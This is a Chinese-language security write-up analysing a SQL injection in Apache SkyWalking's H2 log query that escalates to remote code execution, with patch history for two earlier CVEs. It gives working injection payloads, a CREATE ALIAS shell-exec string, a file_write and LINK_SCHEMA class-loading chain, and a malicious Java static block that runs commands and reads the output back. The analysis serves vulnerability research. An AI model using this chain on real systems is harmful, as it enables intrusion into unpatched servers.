Apache Skywalking远程代码执行漏洞分析
作者:白帽汇安全研究院@kejaly
校对:白帽汇安全研究院@r4v3zn
前言
Apache Skywalking 是分布式系统的应用程序性能监视工具,特别是为微服务,云原生和基于容器(Docker,Kubernetes,Mesos)的体系结构而设计的。
近日,Apache Skywalking 官方发布安全更新,修复了 Apache Skywalking 远程代码执行漏洞。
Skywalking 历史上存在两次SQL注入漏洞,CVE-2020-9483、CVE-2020-13921。此次漏洞(Skywalking小于v8.4.0)是由于之前两次SQL注入漏洞修复并不完善,仍存在一处SQL注入漏洞。结合 h2 数据库(默认的数据库),可以导致 RCE 。
环境搭建
idea调式环境搭建:
https://github.com/apache/skywalking/blob/master/docs/en/guides/How-to-build.md#build-from-github
下载地址skywalking v8.3.0版本:
https://www.apache.org/dyn/closer.cgi/skywalking/8.3.0/apache-skywalking-apm-8.3.0-src.tgz
然后按照官方的直接使用:
./mvnw compile -Dmaven.test.skip=true
然后在 OAPServerStartUp.java main() 函数运行启动 OAPServer,skywalking-ui 目录运行 npm run serve 启动前台服务,访问 http://localhost:8081,就搭建起了整个环境。
但是在 RCE 的时候,用 idea 来启动项目 classpath 会有坑(因为 idea 会自动修改 classpath,导致一直 RCE 不成功),所以最后在 RCE 的时候使用官网提供的 distribution 中的 starup.bat 来启动。
下载地址: https://www.apache.org/dyn/closer.cgi/skywalking/8.3.0/apache-skywalking-apm-8.3.0.tar.gz
准备知识
GraphQL基础
exp 需要通过 GraphQL语句来构造,所以需要掌握 GraphQL 的基本知识
springboot 和 GraphQL 的整合 可以查看下面这个系列的四篇文章:
GraphQL的探索之路 – 一种为你的API而生的查询语言篇一
GraphQL的探索之路 – SpringBoot集成GraphQL篇二
GraphQL的探索之路 – SpringBoot集成GraphQL之Query篇三
GraphQL的探索之路 – SpringBoot集成GraphQL之Mutation篇四
简单言之就是在 .graphqls 文件中定义服务,然后编写实现 GraphQLQueryResolver 的类里面定义服务名相同的方法,这样 GraphQL 的服务就和 具体的 java 方法对应起来了。
比如 这次漏洞 涉及的 queryLogs 服务:
oap-server\server-query-plugin\query-graphql-plugin\src\main\resouRCEs\query-protocol\log.graphqls:
oap-server\server-query-plugin\query-graphql-plugin\src\main\java\org\apache\skywalking\oap\query\graphql\resolver\LogQuery.java :
skywalking中graphql对应关系
skywalking 中 GraphQL 涉及到的 service 层 ,Resolver , graphqls ,以及 Dao 的位置如下, 以 alarm.graphqls 为例:
Service 层:
oap-server\server-core\src\main\java\org\apache\skywalking\oap\server\core\query\AlarmQueryService.java
实现 Resolver 接口层:
oap-server\server-query-plugin\query-graphql-plugin\src\main\java\org\apache\skywalking\oap\query\graphql\resolver\AlarmQuery.java
对应的 graphqls 文件:
oap-server\server-query-plugin\query-graphql-plugin\src\main\resouRCEs\query-protocol\alarm.graphqls
对应的 DAO :
oap-server\server-storage-plugin\storage-jdbc-hikaricp-plugin\src\main\java\org\apache\skywalking\oap\server\storage\plugin\jdbc\h2\dao\H2AlarmQueryDAO.java
漏洞分析
SQL注入漏洞点
根据 github 对应的 Pull : https://github.com/apache/skywalking/pull/6246/files 定位到漏洞点
漏洞点在oap-server\server-storage-plugin\storage-jdbc-hikaricp-plugin\src\main\java\org\apache\skywalking\oap\server\storage\plugin\jdbc\h2\dao\H2LogQueryDAO.java 中的64 行,直接把 metricName append 到了 sql 中:
我们向上找调用 queryLogs 的地方,来到 oap-server\server-core\src\main\java\org\apache\skywalking\oap\server\core\query\LogQueryService.java 中的queryLogs 方法:
再向上找调用 LogQueryService 中的 queryLogs 的地方,会跳到 oap-server\server-query-plugin\query-graphql-plugin\src\main\java\org\apache\skywalking\oap\query\graphql\resolver\LogQuery.java 中的 queryLogs 方法:
方法所在的类正好实现了 GraphQLQueryResolver 接口,而且我们可以看到传入 getQueryService().queryLogs 方法的第一个参数(也就是之后的metricName) 是直接通过 condition.getMetricName() 来赋值的。
我们接着回到 H2LogQueryDAO.java 中:
buildCountStatement :
计算 buildCountStatment(sql.toString()) :
这里我们传入恶意 metricName 为 INFORMATION_SCHEMA.USERS union all select h2version())a where 1=? or 1=? or 1=? --
成功报错带出结果:
RCE
说起 h2 sql 注入导致 RCE , 大家第一反应肯定是利用堆叠注入来定义函数别名来执行 java 代码,比如这样构造exp:
"metricName": "INFORMATION_SCHEMA.USERS union select 1))a where 1=? or 1=? or 1=? ;CREATE ALIAS SHELLEXEC4 AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter('\\\\A'); if(s.hasNext()){return s.next();}else{return '';} }$$;CALL SHELLEXEC4('id');--
但是这里不能执行多条语句,因为要执行 create 语句的话就需要使用分号闭合掉前面的 select 语句,而我们可以看到执行sql 语句的h2Clinet.executeQuery() 底层使用的 prepareStatement(sql) ,prepareStatementer只能编译一条语句,要编译多条语句则需要使用 addBatch 和 executeBatch 。
根据公开文档 https://mp.weixin.qq.com/s/hB-r523_4cM0jZMBOt6Vhw ,h2 可以通过 file_write 写文件 , link_schema 底层使用了类加载。
file_write
file_write:
"metricName": "INFORMATION_SCHEMA.USERS union all select file_write('6162','evilClass'))a where 1=? or 1=? or 1=? --",
link_schema
link_schema 函数底层存在一处类加载机制:
loadUserClass 底层使用的是 Class.forName() 去加载:
而这个 driver class 正好是 link_schema 的第二个参数。
link_schema:
"metricName": "INFORMATION_SCHEMA.USERS union all select LINK_SCHEMA('TEST2','evilClass','jdbc:h2:./test2','sa','sa','PUBLIC'))a where 1=? or 1=? or 1=? --"
结合
那么我们就可以根据 file_write 来写一个恶意的 class 到服务器,把要执行的 java 代码写到 类的 static 块中,然后 linke_schema 去加载这个类,这样就可以执行任意的 java 代码了。
这里写恶意类的时候有个小技巧,可以先在本地安装 h2 ,然后利用 h2 来 file_read 读恶意类,file_read 出来的结果正好就是十六进制形式,所以就可以直接把结果作为 file_write() 的第一个参数
坑
classpath
不得不提 idea 执行 debug 运行的坑,这个坑折腾了好久。使用 idea debug 运行的时候,idea 会修改 classpath https://blog.csdn.net/romantic_jie/article/details/107859901 ,
然后就导致调用 link_schema 的时候总是提示 class not found 的报错。
所以最后选择不使用 idea debug 运行,使用官网提供的 distribution 中的 starup.bat 来运行。
下载地址: https://www.apache.org/dyn/closer.cgi/skywalking/8.3.0/apache-skywalking-apm-8.3.0.tar.gz
双亲委派机制
另外由于双亲委派机制,导致加载一次恶意类之后,再去使用 link_schema 加载的时候无法加载。所以在实际使用的时候,需要再上传一个其他名字的恶意类来加载。
JDK 版本问题
由于 JVM 兼容性问题,使用低版本 JDK 启动 skywalking ,如果恶意类使用的编译环境比目标环境使用的 JDK 版本高的话,在类加载的时候会报 General error 错误。
考虑到现在市面上 JDK 版本基本都在 JDK 6 以及以上版本,所以为了使我们的恶意类都能加载,我们在生成恶意类的时候,最好使用 JDK 6 去生成。
javac evil.java -target 1.6 -source 1.6
回显RCE
既然可以执行任意 java 代码,其实就可以反弹 shell 了,但是考虑到有些时候机器没法出网,所以需要想办法实现回显 RCE 。
因为得到 h2 version 是通过报错来回显的,所以第一个想法就是恶意类中把执行的结果作为异常来抛出,这样就能达到回显的效果,但是 loadClass 的时候只会执行 static 块中的代码,而 static 块中又无法向上抛出异常,所以这个思路行不通。
后来想了想,想到可以结合 file_read() 的方法来间接实现回显 RCE 。也就是说把执行的结果写到 output.txt 中,然后通过 file_read("output.txt",null) 去读取结果
恶意类 static 块如下:
static {
try {
String cmd = "whoami";
InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
InputStreamReader i = new InputStreamReader(in,"GBK");
BufferedReader re = new BufferedReader(i);
StringBuilder sb = new StringBuilder(1024);
String line = null;
while((line = re.readLine()) != null) {
sb.append(line);
}
BufferedWriter out = new BufferedWriter(new FileWriter("output.txt"));
out.write(String.valueOf(sb));
out.close();
} catch (IOException var7) {
}
}
file_read :
"metricName": "INFORMATION_SCHEMA.USERS union all select file_read('output.txt',null))a where 1=? or 1=? or 1=? --"
动态字节码
前面提到过,由于类加载机制,需要每次都上传一个恶意新的恶意 class 文件,但是其实两个 class 文件差异并不大,只是执行的命令 ,以及 class 文件名不同而已,所以可以编写两个恶意类,利用 beyond compare 等对比工具比较两个 class 文件的差异,找到差异的地方。
那么我们在整合到 goby 的时候,思路就是每执行一条命令的时候,随机生成5位文件名,然后用户根据 要执行的命令来动态修改部分文件名。
历史SQL注入
skywalking 历史 sql 注入漏洞有两个,分别是 CVE-2020-9483 和 CVE-2020-13921 ,之前也提到此次漏洞是由于之前两次 sql 注入漏洞修复并不完善,仍存在一处 sql 注入漏洞。我们不妨也来看看这两个漏洞。
其实原因都是在执行 sql 语句的时候直接对用户可控的参数进行了拼接。
而这里说的可控,就是通过 GraphQL 语句来传入的参数。
CVE-2020-9483 [id 注入]
更改了一个文件,oap-server/server-storage-plugin/storage-jdbc-hikaricp-plugin/src/main/java/org/apache/skywalking/oap/server/storage/plugin/jdbc/h2/dao/H2MetricsQueryDAO.java 文件 https://github.com/apache/skywalking/pull/4639/files
把查询条件中的 id 换成使用预编译的方式来查询。
CVE-2020-13921 [多处注入]
原因是 参数直接拼接到 sql 执行语句中 https://github.com/apache/skywalking/issues/4955
有人提出 还有其他点存在直接拼接的问题。
作者修复方案如下,都是把直接拼接的换成了使用占位符预编译的方式:
另外作者也按照了上面的提议修改了其他三个文件,也是使用这样的方法。都是采用占位符来查询。
修复的文件:
oap-server/server-storage-plugin/storage-jdbc-hikaricp-plugin/src/main/java/org/apache/skywalking/oap/server/storage/plugin/jdbc/h2/dao/H2AlarmQueryDAO.java
oap-server/server-storage-plugin/storage-jdbc-hikaricp-plugin/src/main/java/org/apache/skywalking/oap/server/storage/plugin/jdbc/h2/dao/H2me tadataQueryDAO.java [新增]
oap-server/server-storage-plugin/storage-jdbc-hikaricp-plugin/src/main/java/org/apache/skywalking/oap/server/storage/plugin/jdbc/h2/dao/H2TraceQueryDAO.java
oap-server/server-storage-plugin/storage-jdbc-hikaricp-plugin/src/main/java/org/apache/skywalking/oap/server/storage/plugin/jdbc/mysql/MySQLAlarmQueryDAO.java
但是上面的 issue 中还提到了:
oap-server/server-storage-plugin/storage-jdbc-hikaricp-plugin/src/main/java/org/apache/skywalking/oap/server/storage/plugin/jdbc/h2/dao/H2LogQueryDAO.java
oap-server/server-storage-plugin/storage-jdbc-hikaricp-plugin/src/main/java/org/apache/skywalking/oap/server/storage/plugin/jdbc/h2/dao/H2AggregationQueryDAO.java
oap-server/server-storage-plugin/storage-jdbc-hikaricp-plugin/src/main/java/org/apache/skywalking/oap/server/storage/plugin/jdbc/h2/dao/H2TopNRecordsQueryDAO.java
作者对这三个没有修复。而这次的主角就是 h2LogQueryDao.java 中
存在的 sql 注入,而且出问题的就是上面提到的那个地方 metricName 。
对于这次的 sql 注入,作者最后的修复方案是 直接删除这个metricName 字段
oap-server/server-storage-plugin/storage-jdbc-hikaricp-plugin/src/main/java/org/apache/skywalking/oap/server/storage/plugin/jdbc/h2/dao/H2LogQueryDAO.java
另外由于删除字段,所以导致了有12处文件都修改了。
这也正是Skywalking远程代码执行漏洞预警中提到的未修复完善的地方。
思考
这三次 sql 注入的原因都是因为在执行 sql 语句的时候直接对用户可控的参数进行了拼接,于是尝试通过查看 Dao 中其他的文件找是不是还存在其他直接拼接的地方。
翻了翻,发现基本都用了占位符预编译。
一开始发现一些直接拼接 metrics 的地方,但是并不存在注入,比如 H2AggregationQueryDAO 中的 sortMetrics :
向上找到 sortMetics :
继续向上找:
对应的 aggregation.graphqls :
发现虽然有些是拼接了,但是
会进行判断,如果 condition.getName 是 UNKNOWN 的话就会直接返回。
参考
[CVE-2020-9483/13921]Apache SkyWalking SQL注入
Apache SkyWalking SQL注入漏洞复现分析 (CVE-2020-9483)
根据配置CLASSPATH彻底弄懂AppCLassLoader的加载路径问题
SkyWalking How to build project
GraphQL的探索之路 – 一种为你的API而生的查询语言篇一
GraphQL的探索之路 – SpringBoot集成GraphQL篇二
GraphQL的探索之路 – SpringBoot集成GraphQL之Query篇三
GraphQL的探索之路 – SpringBoot集成GraphQL之Mutation篇四
SkyWalking [CVE] Fix SQL Injection vulnerability in H2/MySQL implementation. #4639
最新评论